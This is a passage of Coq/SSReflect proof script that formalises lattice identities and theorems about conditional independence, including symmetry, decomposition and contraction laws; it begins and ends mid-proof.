y) _]meet_commutative 2!meet_distributive [_ _ y]meet_commutative com_bot. by rewrite [_ bot]join_commutative join_bot_unitL meet_idempotent meet_absorption [_ x]join_commutative [_ _ x]meet_commutative meet_absorption join_distributive join_associative join_idempotent meet_commutative -join_distributive. Qed. Lemma Th5_4 x y z : x != bot /\ mix x y = mix x z -> up (meet y (com (meet (meet y (com x)) (com z)))) = up (meet z (com (meet (meet z (com x)) (com y)))). Proof. move=> H1; move: (H1); move /Th5_2; rewrite Th5_3=> H2. have H3: dot (mix x z) (up (meet y (com (meet (meet y (com x)) (com z))))) = dot (mix x y) (up (meet z (com (meet (meet z (com x)) (com y))))). -by rewrite -H2 meet_commutative -Th5_3; apply: Th5_2; apply: conj; case: H1. case: H1=> H1' H1''; move: H3; rewrite H1'' mix_up_down. by rewrite -dotA [_ (down z) _]dotC dotA; move/ div_down_right; rewrite -[RHS]dotA [_ _ (up z)]dotC dotA -[_ _ (up z)]dotA down_up_unitL bob_unitR [RHS]dotC; move/ div_up_down; rewrite dotC dotA down_up_unitL bob_unitL. by[]. Qed. Lemma Th5_5 x y z : meet (com (meet (meet y (com x)) (com z))) (com (meet (meet z (com x)) (com y))) = join (join x (meet y z)) (meet (com z) (com y)). Proof. rewrite !com_meet !double_com; rewrite [_ _ y]join_commutative [_ (com z) _]join_commutative join_associative meet_distributive [_ _ (com z)]meet_commutative [_ (com z) _]meet_distributive [_ (com z) z]meet_commutative com_bot [_ _ bot]join_commutative join_bot_unitL meet_commutative [_ y x]join_commutative. have H: com (meet (meet y (com x)) (com z)) = join (join (com y) x) z. -by rewrite !com_meet !double_com. by rewrite -H Th5_3 meet_distributive join_associative -[_ (join x (meet y z)) (meet (com z) (com y))]join_associative join_commutative join_associative [_ _ x]join_commutative meet_commutative meet_absorption join_associative. Qed. Theorem Th5 x y z : mix x y = mix x z -> mix x y = mix x (meet y z). Proof. move=> H1. move: (excluded_middle_axiom (x = bot)). case. -by move=> h1; move: H1; rewrite h1; move/ down_injective=> h2; rewrite -h2 meet_idempotent. -move/ eqP=> H2. have H3: (meet y (com (meet (meet y (com x)) (com z)))) = (meet z (com (meet (meet z (com x)) (com y)))). +by apply /up_injective /Th5_4. have H4: meet y (com (meet (meet y (com x)) (com z))) = meet y z. +by rewrite -[_ y _]meet_idempotent {2}H3 meet_associative -[meet (meet y (com (meet (meet y (com x)) (com z)))) z]meet_associative [_ _ z]meet_commutative meet_associative -meet_associative Th5_5 meet_distributive [_ x _]join_commutative join_absorption meet_absorption. rewrite [in RHS]mix_up_down; first 1 [apply/ eqP|]. by rewrite eq_sym; apply/ eqP; rewrite div_up_down H1 -[in LHS]Th5_3 -H4 Th5_2. by[]. Qed. Lemma com_bot_top_P : complement_P bot top. Proof. rewrite/ complement_P; split. -apply /meet_bot_unitL. -apply /join_bot_unitL. Qed. Lemma com_bot_top : com bot = top. Proof. apply /complement_unique. exact: bot. split. -apply /com_P. -apply /com_bot_top_P. Qed. Lemma com_top_bot : com top = bot. Proof. apply /complement_unique. exact: top. split. -apply /com_P. -move: com_bot_top_P => H; rewrite/ complement_P meet_commutative join_commutative; apply /H. Qed. Lemma meet_eq_ge x y : meet x y = bot <-> ge (com x) y. Proof. split. -move=> H; rewrite/ ge; apply/ eqP; move: (com_meet x y); rewrite H com_bot_top; move=> H1; by rewrite -[in RHS](join_bot_unitL (com x)) -com_top_bot H1 com_join !double_com [in RHS]join_commutative join_distributive [_ _ x]join_commutative com_top meet_top_unitL. -by rewrite/ ge; move /eqP => H1; rewrite -(double_com x) -(double_com y) -com_join -H1 -join_associative com_top join_top_unitR com_top_bot. Qed. Theorem Th6 x y z : gt x z /\ meet y z = bot -> mix x y /d z = mix (meet x (com z)) y. Proof. case; rewrite /gt /ge; move /andP =>[] /eqP => H1 H2; move: (excluded_middle_axiom (x = bot)); case. -by move=> H3; rewrite H3; rewrite H3 join_bot_unitL in H1; rewrite H1 margin3 meet_bot_unitL. -move/ eqP=> H3 H4; rewrite mix_up_down ; last by[]; rewrite dotC const_margin; last first. -rewrite /cintegrable /ge ctext1 ctext4. apply: conj. -by rewrite [_ _ y]join_commutative -join_associative H1. -by rewrite meet_commutative. rewrite margin1; last first. -by rewrite /ge [_ _ y]join_commutative -join_associative H1. rewrite meet_commutative meet_distributive. rewrite meet_commutative in H4. move: H4; move/ meet_eq_ge; rewrite ge_meet_def; move/ eqP=> H4; rewrite H4. rewrite dotC -mix_up_down ; first by rewrite meet_commutative. apply: meet_not_bot. exact z. by rewrite /ge [_ _ z]join_commutative com_top join_top_unitL. by rewrite /gt; apply /andP; split; first by rewrite /ge; apply /eqP. Qed. Theorem Th7_1 x : up x /d x = bob. Proof. rewrite margin1; first by rewrite com_bot up_bot_bob. by rewrite /ge join_idempotent. Qed. Theorem Th7_2 x y : x != bot -> mix x y /d meet x (com y) = bob. Proof. move=> H; rewrite mix_up_down; last by[]. rewrite -(meet_top_unitR (join x y)) -(com_top y) join_commutative -join_distributive dotC const_margin; first rewrite margin1; first by rewrite com_meet double_com join_distributive com_top meet_top_unitR [_ _ y]join_commutative -join_distributive com_bot join_commutative join_bot_unitL dotC up_down_unitL. by rewrite /ge -join_associative join_idempotent. apply: conj. by rewrite /cintegrable ctext1 /ge -join_associative join_idempotent. by rewrite ctext4 -meet_associative [_ _ y]meet_commutative com_bot meet_bot_unitR. Qed. Corollary Co1_1 c y : meet (ctext c) y = bot -> dot c (up y) /d y = c. Proof. move=> H; rewrite const_margin; first rewrite margin1; first by rewrite com_bot up_bot_bob bob_unitR. apply: ge_reflexive. apply: conj; first rewrite/ cintegrable ctext1; first apply: ge_reflexive. by rewrite meet_commutative. Qed. Corollary Co1_2 y z c : meet (ctext c) z = bot /\ meet y z = bot -> dot c (up (join y z)) /d z = dot c (up y). Proof. case=> H1 H2; rewrite const_margin; first rewrite margin1; first rewrite meet_commutative meet_distributive [_ _ z]meet_commutative com_bot join_bot_unitR; move: H2; rewrite meet_commutative =>/meet_eq_ge; rewrite ge_meet_def=>/ eqP=> H2; first by rewrite H2. by rewrite /ge -join_associative join_idempotent. apply: conj; first by rewrite /cintegrable ctext1 /ge -join_associative join_idempotent. by rewrite meet_commutative H1. Qed. Corollary Co1_3 x y z c : meet x z = bot /\ meet y z = bot /\ meet (ctext c) z = bot -> dot c (up (join x (join y z))) /d z = dot c (up (join x y)). Proof. case=> H1 [] H2 H3; rewrite const_margin. rewrite margin1. rewrite join_associative meet_commutative meet_distributive [_ _ z]meet_commutative com_bot join_bot_unitR meet_commutative. have H: meet z (join x y) = bot. -by rewrite meet_distributive meet_commutative [_ _ y]meet_commutative H1 H2 join_bot. by move: H; move /meet_eq_ge; rewrite ge_meet_def; move /eqP; rewrite meet_commutative=> H4; rewrite H4. by rewrite join_associative /ge -join_associative join_idempotent. rewrite meet_commutative in H3; apply: conj; last by[]. by rewrite /cintegrable ctext1 join_associative /ge -join_associative join_idempotent. Qed. Corollary Co1_4 x y z : x != bot /\ meet x y = bot /\ meet y z = bot -> mix (join x y) z /d y = mix x z. Proof. case => H1 [] H2 H3; rewrite mix_up_down; first rewrite dotC const_margin. rewrite margin1. rewrite -join_associative [_ _ z]join_commutative join_associative meet_commutative meet_distributive [_ _ y]meet_commutative com_bot join_bot_unitR meet_commutative. have H: meet y (join x z) = bot. -by rewrite meet_distributive meet_commutative H2 H3 join_bot. by move: H; move /meet_eq_ge; rewrite ge_meet_def; move /eqP; rewrite meet_commutative=> H4; rewrite H4 dotC -mix_up_down. by rewrite -join_associative [_ y _]join_commutative join_associative /ge -join_associative join_idempotent. apply: conj. -by rewrite /cintegrable ctext1 -join_associative [_ y _]join_commutative join_associative /ge -join_associative join_idempotent. -by rewrite ctext4. have H: (x != bot) || (y != bot) -> join x y != bot. -rewrite -negb_and; apply: contra; apply/join_eq_bot. by apply /H /orP /or_introl. Qed. Lemma meet_ge x y:ge x (meet x y). Proof. rewrite/ge. rewrite join_distributive. rewrite join_idempotent. apply/eqP. by apply:join_absorption. Qed. Lemma meet_ge' x y:ge x y <->meet x y = y. Proof. rewrite/ge. split. move=>H. move/eqP in H. rewrite meet_commutative -H meet_distributive. rewrite meet_idempotent join_commutative. apply/eqP. apply:meet_ge. move=>H. apply/eqP. by rewrite -H meet_absorption. Qed. Lemma ge_w_L x y z:ge x (join y z)-> ge x y. Proof. move=>H. apply:(@ge_transitive (join y z) x y)=>//. apply meet_ge'. by rewrite meet_commutative join_absorption. Qed. Lemma meet_ge_meet x y z:ge x y -> ge (meet x z) (meet y z). Proof. move=>H. rewrite meet_ge'=>//. move/meet_ge' in H. by rewrite (meet_commutative y _) meet_associative -(meet_associative x z z) meet_idempotent (meet_commutative x z) -meet_associative H. Qed. Theorem N_law1 x y z : x != bot /\ ge (com z) (ctext (mix x (join y z))) /\ meet x (com z)!=bot -> mix x (join y z) = mix (meet x (com z)) (meet y (com z)). Proof. case => H1 [] H2 H3. -move:(excluded_middle_axiom (ge (join y z) x));case=>Hyz. move:(le_mix_bob_eq)(Hyz)=>H Hyz'. rewrite/le in H. move/H in Hyz. rewrite Hyz=>//. move/(@meet_ge_meet _ _ (com z)) in Hyz'. rewrite meet_commutative meet_distributive (meet_commutative (com z) z) com_bot meet_commutative join_bot_unitR in Hyz'. move/H in Hyz'. by rewrite Hyz'. -rewrite ctext3 in H2=>//. move/negP in Hyz. rewrite [in RHS]mix_up_down=>//. move:(H2)=>H2';move:(H2)=>h2. move/ge_w_L in H2. move/meet_eq_ge in H2. rewrite join_associative (join_commutative x _) -join_associative in h2; move/ge_w_L in h2. move/meet_eq_ge in h2. rewrite meet_commutative {1}[(meet y (com z))]meet_commutative -meet_distributive meet_commutative -(join_bot_unitR (meet (join x y) (com z))) -(com_bot z) meet_commutative [_ z _]meet_commutative -meet_distributive meet_commutative -margin1. --have H: up (join (join x y) z) = dot (mix x (join y z)) (up (join y z)). -by rewrite mix_up_down; first rewrite -dotA down_up_unitL bob_unitR join_associative. rewrite H. --have h: ge (join y z) z. by rewrite join_commutative join_ge. move/margin1 in h. rewrite const_margin. rewrite meet_commutative meet_distributive (meet_commutative _ y) (meet_commutative _ z) com_bot join_bot_unitR in h. by rewrite h -dotrA up_down_unitL dotr0. apply:conj=>//. by rewrite /cintegrable ctext1 /ge -join_associative join_idempotent. rewrite ctext3=>//. move/meet_ge' in H2'. by rewrite -H2' meet_associative com_bot meet_bot_unitL. by rewrite join_commutative join_ge. by move/negP in Hyz. Qed. Lemma ctext_eq_ge x c : meet (ctext c) (com x) = bot <-> ge x (ctext c). Proof. split. by move=> H; apply /eqP; rewrite /ge -[in RHS](@join_bot_unitR x) -H join_distributive com_top meet_top_unitR. by rewrite ge_meet_def; move /eqP =>H; rewrite -H [_ x _]meet_commutative -meet_associative com_bot meet_bot_unitR. Qed. Lemma N_law2_1 x y z cx cy : meet (ctext cx) x = bot /\ meet (ctext cy) y = bot /\ up (join (join x y) z) = dot cy cx -> up (meet (join y z) (com x)) = dot cx (cy /d x). Proof. case=> H1 [] H2 H3. rewrite -(@join_bot_unitR (meet (join y z) (com x))) -(@com_bot x) meet_commutative [_ x _]meet_commutative -meet_distributive meet_commutative join_commutative join_associative -margin1; last first; first by rewrite /ge -join_associative join_commutative -join_associative join_commutative join_associative join_idempotent. rewrite H3 dotC const_margin; first by[]. apply: conj; last first; first by rewrite meet_commutative. rewrite /cintegrable /ge; move: (@Th3_2 cy cx); rewrite -H3 ctext1=> H4. move: (@join_ge x y) (@join_ge (join x y) z)=> H5 H6. have H: ge (join (join x y) z) x. -apply/ (@ge_transitive (join x y)); by[]. have H': ge (join (ctext cy) (ctext cx)) x. -apply/ (@ge_transitive (join (join x y) z)); by[]. move: H1; rewrite -{1}(double_com x) ctext_eq_ge ge_meet_def; move /eqP=> H1. rewrite ge_meet_def in H'; move /eqP in H'. by rewrite -H' -H1 meet_commutative meet_distributive meet_associative com_bot meet_bot_unitL join_bot_unitR meet_commutative meet_absorption. Qed. Lemma dot_eq c1 c2 c3 : c1 = c2 <-> dot c1 c3 = dot c2 c3. Proof. split. by move=> H; rewrite H. by move=> H; rewrite -(dotr0 c1) -(dotr0 c2) -(dotNr c3) [_ _ c3]dotC !dotA H. Qed. Lemma N_law2_2 x y z cx cy : ge (com x) y /\ meet (ctext cx) x = bot /\ meet (ctext cy) y = bot /\ up (join (join x y) z) = dot cy cx -> up (meet z (meet (com x) (com y))) = dot (cx /d y) (cy /d x). Proof. case=> H1 [] H2 [] H3 H4. rewrite (@dot_eq _ _ (up (meet (join x z) (com y)))) -(@join_bot_unitL (meet z (meet (com x) (com y)))) -(@meet_bot_unitL (com x)) -(com_bot y) -meet_associative [_ (com y) (com x)]meet_commutative meet_commutative [_ z _]meet_commutative -meet_distributive meet_commutative meet_associative -margin1; first rewrite dotC -[in LHS]const_margin; first rewrite (@N_law2_1 x y z cx cy); first rewrite [in LHS](@N_law2_1 y x z cy cx); first rewrite dotA [_ _ cx]dotC dotA [_ cx _]dotC -H4 -dotA dotC const_margin; first rewrite margin1; first by rewrite [_ _ y]join_commutative -join_associative meet_commutative meet_distributive [_ _ y]meet_commutative com_bot join_bot_unitL meet_commutative. by rewrite /ge join_commutative join_associative [_ x _]join_commutative join_associative join_idempotent. split. by rewrite /cintegrable /ge ctext1 join_commutative join_associative [_ x _]join_commutative join_associative join_idempotent; first last. move: (@Th3_2 (cx /d y) (cy /d x)); rewrite ge_meet_def; move /eqP=> H5. by rewrite -H5 meet_associative meet_distributive !margin0 [_ _ (com y)]meet_commutative meet_associative com_bot meet_bot_unitL meet_associative [_ y _]meet_commutative H3 meet_bot_unitL join_idempotent meet_bot_unitL. by rewrite [_ y _]join_commutative dotC. by[]. split; first rewrite /cintegrable /ge join_commutative ctext1 join_distributive join_associative join_idempotent; rewrite /ge in H1; move: H1; move /eqP=> H1. by rewrite [_ _ (com x)]join_commutative H1. by rewrite ctext1 [_ _ (com y)]meet_commutative meet_associative com_bot meet_bot_unitL. by rewrite /ge in H1; move: H1; move /eqP=> H1; rewrite /ge join_commutative join_distributive join_associative join_idempotent [_ _ (com x)]join_commutative H1. Qed. Theorem N_law2 x y z cx cy : ge (com x) y /\ meet (ctext cx) x = bot /\ meet (ctext cy) y = bot /\ up (join (join x y) z) = dot cy cx -> up (join (join x y) z) = dot (dot (up (meet (join x z) (com y))) (up (meet (join y z) (com x)))) (down (meet (meet z (com x)) (com y))). Proof. case=> H1 [] H2 [] H3 H4. rewrite (@N_law2_1 y x z cy cx); last by rewrite [_ y _]join_commutative dotC. rewrite (@N_law2_1 x y z cx cy); last by[]. rewrite [_ cy _]dotC dotA -[_ _ cx]dotA [_ (cx /d y) _]dotC -2!dotA -H4 [_ (cx /d y) _]dotA -meet_associative -(@N_law2_2 x y z cx cy); last by[]. by rewrite (@up_down_unitL (meet z (meet (com x) (com y)))) dotr0. Qed. Section conditional_independence. (*def 10*) Definition co_ind x y z:= (mix x (join y z))=(mix x z). Definition ind x y:= (co_ind x y bot). (*Notation "x._y|z":=(@co_ind _ _ _). Notation "x._y":=(@ind _ _).*) Lemma join_bot_bot x y: x!=bot-> y!=bot -> (join x y)!=bot. Proof. move=>XH YH. apply/eqP. case. move/eqP=>H0. move:(@join_eq_bot x y H0). move/andP. case. move=>X. move/eqP. by apply/eqP. Qed. Theorem co_ind_eq_1 x y z: x!=bot -> y!=bot -> (co_ind x y z <-> (mix (join x y) z)=dot (mix x z) (mix y z)). Proof. move=> XH YH . split. -rewrite/ co_ind=>H. rewrite -H. rewrite[in RHS] mix_up_down=>//. rewrite[in RHS] mix_up_down=>//. rewrite -dotrAC dotrA -dotrA dotrACA dotrA dotr_perm down_up_unitL dot0r dotC join_associative mix_up_down=>//. by apply join_bot_bot=>//. -rewrite/co_ind mix_up_down. rewrite div_up_down. move=>H. rewrite mix_up_down=>//. rewrite join_associative H. rewrite [mix y _]mix_up_down=>//. rewrite dotrA div_up_down dotr_perm up_down_unitL dot0r dotrC=>//. by apply join_bot_bot=>//. Qed. Theorem co_ind_eq_2 x y z: x!=bot -> y!=bot -> (co_ind x y z <-> (up (join (join x y) z)=dot (up (join y z)) (mix x z))). Proof. move=>XH YH. rewrite/co_ind. rewrite mix_up_down=>//. by rewrite div_up_down -join_associative dotrC. Qed. Theorem ind_eq x y: x!=bot -> y!=bot -> (ind x y <-> up (join x y) = dot (up x) (up y)). Proof. move=>XH YH. rewrite/ind/co_ind join_commutative. move:(join_bot_unitL y)=>->. rewrite mix_up_down=>//. by rewrite div_up_down. Qed. (*co_ind is symmetry*) Theorem co_sym x y z:x!=bot->y!=bot-> (co_ind x y z <-> co_ind y x z). Proof. move=>X Y. by split;move=>H; apply co_ind_eq_1 in H=>//; rewrite co_ind_eq_1=>//; rewrite join_commutative dotrC=>//. Qed. (*Prop6*) Proposition eq_co_ge x y: x!=bot -> y!=bot ->(co_ind x x y <-> ge y x). Proof. move=>X Y. rewrite (@co_ind_eq_1 x x y)=>//. rewrite join_idempotent. rewrite mix_up_down=>//. rewrite div_up_down. rewrite dotrA. rewrite dotr_perm. rewrite up_down_unitL dot0r. rewrite dotrC -div_up_down=>//. rewrite up_down_unitL. rewrite dotrC -div_up_down bob_unitL. split. move=>H. apply down_injective in H. rewrite/ge. rewrite join_commutative. by apply/eqP. rewrite/ge=>H. rewrite join_commutative. move/eqP in H. by rewrite H. Qed. Proposition ge_co_1 x y z : ge z y -> co_ind x y z. Proof. rewrite/ge/co_ind. move=>H. move/eqP in H. rewrite join_commutative H. by[]. Qed. Proposition ge_co_2 x y z : x!=bot -> ge z x -> co_ind x y z. Proof. rewrite/ge/co_ind. move=>X H. rewrite mix_up_down=>//. rewrite join_commutative. rewrite -join_associative. move/eqP in H. rewrite H up_down_unitL. rewrite mix_up_down=>//. by rewrite join_commutative H up_down_unitL. Qed. Lemma co_mc0 x y b:meet x y = bot->meet y b!=bot-> x = meet x (join (com y) b). Proof. move=>A H. rewrite meet_commutative in A;apply meet_eq_ge in A=>//. apply meet_ge' in A;rewrite meet_commutative in A. by rewrite meet_distributive A meet_absorption. Qed. Lemma co_mc00 x y b:meet x y = bot->meet y b!=bot-> (com x)=join (com x) (meet y (com b)). Proof. move=>A B. rewrite [in LHS](@co_mc0 x y b)=>//. by rewrite com_meet com_join double_com. Qed. Lemma gt_0 x y z:gt x y -> gt x (meet y z). Proof. rewrite/gt. move/andP=>[h1 h2]. move:(h1)=>h. apply/andP;split. move/eqP in h1. apply/eqP. by rewrite join_distributive h1 join_absorption. apply/negP; move=> /eqP h3. move/eqP in h1;apply meet_ge' in h. rewrite h3 join_commutative join_distributive join_idempotent -h3 join_absorption in h1. move:h2;move/negP. case. by rewrite h1. Qed. Lemma co_mc1 x y z b:x!=bot->y!=bot->meet x y = bot->meet y b!=bot-> (mix (join x y) z) /d (meet y (meet (com b) (com z)))=mix (join x (meet y b)) z. Proof. move=>X Y A H. rewrite Th6. rewrite com_meet -com_join double_com (join_associative (com y) _ _). rewrite meet_distributive. rewrite meet_commutative meet_distributive meet_commutative -co_mc0=>//. rewrite meet_commutative meet_distributive com_bot join_bot_unitL. apply/eqP;rewrite eq_sym;apply/eqP. apply:(@lemma1_3 (join x (meet y b)) z (meet (join x y) z)). apply:join_bot_bot=>//. -apply:(@ge_transitive z (join (join x (meet y b)) z) (meet (join x y) z)). rewrite join_commutative join_ge=>//. rewrite meet_commutative meet_ge=>//. split. -rewrite meet_associative. apply:gt_0. rewrite/gt;apply/andP;split. apply:(@ge_transitive y (join x y) (meet y (com b))). rewrite join_commutative join_ge=>//. apply meet_ge. apply/negP. move=>/eqP h. move:(A)=>a. apply meet_eq_ge in a. apply meet_ge' in a. move:(A)=>c. apply meet_eq_ge in c;move/eqP in c. move:H;move/negP. case. apply/eqP. rewrite meet_commutative. apply (@meet_eq_ge b y). apply meet_ge'. rewrite meet_commutative -h. rewrite-[in RHS](@join_bot_unitL y). rewrite -(@com_bot x) (join_commutative (meet _ _) _) join_distributive. rewrite meet_commutative (join_commutative y x) h (join_commutative y _) c. by rewrite meet_associative a. --rewrite meet_commutative -meet_associative -(meet_associative (com b) _ _) (meet_commutative (com _) z) com_bot. by rewrite meet_commutative (meet_commutative _ bot) meet_bot_unitL meet_bot_unitL. Qed. Lemma meet_join x y:(join x y = x)<->(meet x y = y). Proof. split=>H. apply meet_ge'. by apply/eqP. apply meet_ge' in H. by move/eqP in H. Qed. Lemma ge_mix_bob_eq x y:x!=bot-> (ge y x <-> (mix x y = bob)). Proof. move=>X. move:(@le_mix_bob_eq x y)=>H. rewrite/le in H. by apply H. Qed. Lemma co_mc2 x y z b:x!=bot->y!=bot->meet x y = bot->meet y b!=bot->~~(ge z y)->~~ (ge z x)-> (dot (mix x z) (mix y z))/d (meet y (meet (com b) (com z)))= dot (mix x z) (mix (meet y b) z). Proof. move=>X Y A B C D. rewrite const_margin. rewrite Th6. rewrite com_meet -com_join double_com meet_distributive. rewrite com_bot join_bot_unitL meet_distributive. rewrite -(@lemma1_3 (meet y b) z (meet y z))=>//. -apply:(@ge_transitive z (join (meet y b) z) (meet y z)). by rewrite join_commutative join_ge. by rewrite meet_commutative meet_ge. split. -rewrite meet_associative. apply:gt_0=>//. rewrite/gt;apply/andP;split. by rewrite meet_ge. apply/negP; move=> /eqP H. move:B;move/negP. case. by rewrite H -meet_associative (meet_commutative _ b) com_bot meet_commutative meet_bot_unitL. --rewrite meet_commutative -meet_associative -(meet_associative (com b) _ _) (meet_commutative (com _) z) com_bot. by rewrite meet_commutative (meet_commutative _ bot) meet_bot_unitL meet_bot_unitL. ---split. +rewrite/cintegrable. rewrite ctext3=>//. apply/eqP. rewrite join_distributive (join_commutative _ y) join_associative join_idempotent. by rewrite join_distributive -(join_associative y z (com z)) com_top join_top_unitR meet_top_unitR join_absorption. rewrite ctext3=>//. rewrite meet_distributive (meet_commutative _ x) meet_associative A meet_bot_unitL -meet_associative -meet_associative (meet_commutative _ z) com_bot meet_associative meet_bot_unitR join_idempotent=>//. Qed. Lemma margin_eq x y z:(x = y)-> (x /d z) = (y /d z). Proof. by move=>->. Qed. Theorem M_law x y z a b: (meet x y)=bot ->(meet x a)!=bot ->(meet y b)!=bot -> co_ind x y z ->co_ind (meet x a) (meet y b) z. Proof. move=> H1 H2 H3 H. move:(excluded_middle_axiom (x = bot));case=>Hx. rewrite co_sym=>//. rewrite Hx meet_bot_unitL. apply: ge_co_1. by apply bot_minimum. move:(excluded_middle_axiom (y = bot));case=>Hy. rewrite Hy meet_bot_unitL. by apply:ge_co_1; apply bot_minimum. move/eqP in Hx; move/eqP in Hy. move:(excluded_middle_axiom (ge z x));case=>Hzx. apply:ge_co_2=>//. apply:(@ge_transitive x z (meet x a))=>//. by rewrite meet_ge. move:(excluded_middle_axiom (ge z y));case=>Hzy. apply:ge_co_1. apply:(@ge_transitive y z (meet y b))=>//. by rewrite meet_ge. move:(excluded_middle_axiom (ge z (meet y b)));case=>Hzy'. by apply:ge_co_1. move/negP in Hzx;move/negP in Hzy;move/negP in Hzy'. -apply co_ind_eq_1 in H=>//. rewrite co_ind_eq_1=>//. apply (@margin_eq _ _ (meet y (meet (com b) (com z)))) in H. rewrite co_mc1 in H=>//. rewrite co_mc2 in H=>//. rewrite join_commutative dotrC in H. apply (@margin_eq _ _ (meet x (meet (com a) (com z)))) in H. rewrite co_mc1 in H=>//. rewrite co_mc2 in H=>//. by rewrite join_commutative dotrC. by rewrite meet_commutative meet_associative H1 meet_bot_unitL. by rewrite meet_commutative meet_associative H1 meet_bot_unitL. Qed. Theorem N_law1' x y z: meet x y = bot -> meet y z = bot -> meet x z = bot -> x != bot /\ ge (com z) (ctext (mix x (join y z)))/\ meet x (com z)!=bot-> mix x (join y z) = mix x y. Proof. move=> A B C H. apply N_law1 in H. rewrite meet_commutative in B;rewrite meet_commutative in C. apply meet_eq_ge in B;apply meet_eq_ge in C. apply meet_ge' in B;apply meet_ge' in C. rewrite meet_commutative in B;rewrite meet_commutative in C. by rewrite B C in H. Qed. Theorem N_law2' x y z cx cy : meet x y = bot -> meet y z = bot -> meet x z = bot -> ge (com x) y /\ meet (ctext cx) x = bot /\ meet (ctext cy) y = bot /\ up (join (join x y) z) = dot cy cx -> up (join (join x y) z) = dot (dot (up (join x z)) (up (join y z))) (down z). Proof. move=>a b c H. move:(a)(b)(c)=>A B C. apply N_law2 in H. rewrite meet_commutative in A. apply meet_eq_ge in A;apply meet_eq_ge in B;apply meet_eq_ge in C. apply meet_ge' in A;apply meet_ge' in B;apply meet_ge' in C. apply meet_eq_ge in a;apply meet_ge' in a. rewrite meet_commutative meet_distributive A B in H. rewrite meet_commutative meet_distributive a C in H. by rewrite (meet_commutative z _) C meet_commutative B in H. Qed. Theorem co_fact x y z cx cy:x!=bot->y!=bot->z!=bot-> meet x y = bot -> meet y z = bot -> meet x z = bot -> ge (com x) y /\ meet (ctext cx) x = bot /\ meet (ctext cy) y = bot /\ up (join x (join y z)) = dot cx cy -> co_ind x y z . Proof. move=>X Y Z A B C. case=>Ha [] Hb [] Hc Hd. apply co_ind_eq_2=>//. rewrite mix_up_down//. rewrite dotrA (dotrC (up (join y z)) _). move:(A)=>a;apply meet_eq_ge in A. apply (@N_law2' x y z cx cy)=>//. split=>//. split=>//. split=>//. by rewrite -join_associative dotrC. Qed. Theorem co_fact' x y z:x!=bot->y!=bot->z!=bot-> meet x y = bot -> meet y z = bot -> meet x z = bot -> co_ind x y z -> exists cx cy,ge (com x) (ctext cx) /\ ge (com y) (ctext cy) /\ up (join x (join y z)) = dot cx cy. Proof. move=>X Y Z A B C H. apply co_ind_eq_2 in H=>//. exists (up (join y z)), (mix x z). split. apply/meet_eq_ge. by rewrite ctext1 meet_distributive A C join_idempotent. split. apply/meet_eq_ge. move:(excluded_middle_axiom (ge z x));case=>Hzx. apply ge_mix_bob_eq in Hzx=>//. by rewrite Hzx ctext1 meet_bot_unitR. move/negP in Hzx. rewrite ctext3=>//. by rewrite meet_distributive B meet_commutative A join_idempotent. by rewrite join_associative. Qed. Theorem co_decomp x y z a b: a!=bot -> b!=bot -> meet x y = bot -> co_ind x y z -> ge x a -> ge y b -> co_ind a b z. Proof. move=> A B H0 H1 Ha Hb. apply meet_ge' in Ha. apply meet_ge' in Hb. rewrite -Ha -Hb. apply:M_law=>//. rewrite Ha=>//. rewrite Hb=>//. Qed. Theorem co_w_u x y z w:x!=bot -> y!=bot -> z!=bot -> w!=bot-> meet x y = bot -> meet x z = bot -> meet x w = bot -> meet y z = bot -> meet y w = bot -> meet w z = bot -> co_ind x (join y z) w -> co_ind x y (join z w). Proof. move=>X Y Z W A B C D E F H. move:(H)=>H'. apply co_ind_eq_2 in H=>//. rewrite co_ind_eq_2=>//. rewrite join_associative in H. rewrite join_associative H. rewrite[in RHS]dotrC -div_up_down. rewrite dotrC join_associative. rewrite dotrA (@dotrC (down (join (join y z) w)) _). rewrite up_down_unitL dot0r=>//. apply/eqP. rewrite eq_sym. apply/eqP. apply (@M_law x (join y z) w x (join z w)) in H'=>//. rewrite/co_ind in H'. rewrite meet_idempotent in H'. rewrite meet_distributive in H'. rewrite (join_commutative y _) in H'. rewrite (meet_commutative _ z) join_absorption in H'. rewrite (meet_commutative _ w) in H'. rewrite meet_distributive in H'. rewrite (meet_commutative _ y) F E in H'. rewrite join_idempotent in H'. move:(bot_minimum z)=>I. rewrite/ge in I. move/eqP in I. rewrite I in H'=>//. rewrite meet_distributive A B join_idempotent=>//. rewrite meet_idempotent=>//. rewrite (join_commutative y _) -join_distributive E. move:(bot_minimum z)=>I;rewrite/ge in I;move/eqP in I. rewrite I=>//. apply join_bot_bot=>//. Qed. Corollary M_l x y z w:x!=bot -> y!=bot -> z!=bot -> w!=bot-> meet x y = bot -> meet x z = bot -> meet x w = bot -> meet y z = bot -> meet y w = bot -> meet w z = bot -> co_ind x (join y z) w -> co_ind x z w. Proof. move=>X Y Z W A B C D E F H'. rewrite/co_ind. apply (@M_law x (join y z) w x (join z w)) in H'=>//. rewrite/co_ind in H'. rewrite meet_idempotent in H'. rewrite meet_distributive in H'. rewrite (join_commutative y _) in H'. rewrite (meet_commutative _ z) join_absorption in H'. rewrite (meet_commutative _ w) in H'. rewrite meet_distributive in H'. rewrite (meet_commutative _ y) F E in H'. rewrite join_idempotent in H'. move:(bot_minimum z)=>I. rewrite/ge in I. move/eqP in I. rewrite I in H'=>//. rewrite meet_distributive A B join_idempotent=>//. rewrite meet_idempotent=>//. rewrite (join_commutative y _) -join_distributive E. move:(bot_minimum z)=>I;rewrite/ge in I;move/eqP in I. rewrite I=>//. Qed. Theorem co_contr x y z w:x!=bot -> y!=bot -> z!=bot -> w!=bot -> meet x y = bot -> meet x z = bot -> meet x w = bot -> meet y z = bot -> meet y w = bot -> meet w z = bot -> (co_ind x y (join z w) /\ co_ind x z w <-> co_ind x (join y z) w). Proof. move=>X Y Z W A B C D E F. split. move=>[Ha Hb]. apply co_sym in Ha=>//. apply co_sym in Hb=>//. apply co_ind_eq_2 in Ha=>//. apply co_ind_eq_2 in Hb=>//. rewrite (join_commutative z x) -join_associative in Hb. rewrite Hb in Ha. rewrite co_sym=>//. rewrite co_ind_eq_2=>//. rewrite (join_commutative _ x) join_associative (join_commutative x y). rewrite -join_associative Ha. rewrite[in RHS]dotrC. rewrite -div_up_down. rewrite dotrC -(dotrA (up (join x w)) _ _). rewrite dotrA (dotrC (down (join x w)) (up (join x w))). rewrite up_down_unitL dot0r. rewrite mix_up_down=>//. rewrite mix_up_down=>//. rewrite dotrA. rewrite (dotrC (dot (dot (up (join z w)) (down w)) (up (join y (join z w))))). rewrite dotrA dotrA. rewrite (dotrC _ (up (join z w))). rewrite up_down_unitL dot0r. rewrite dotrC join_associative mix_up_down=>//. apply:join_bot_bot=>//. 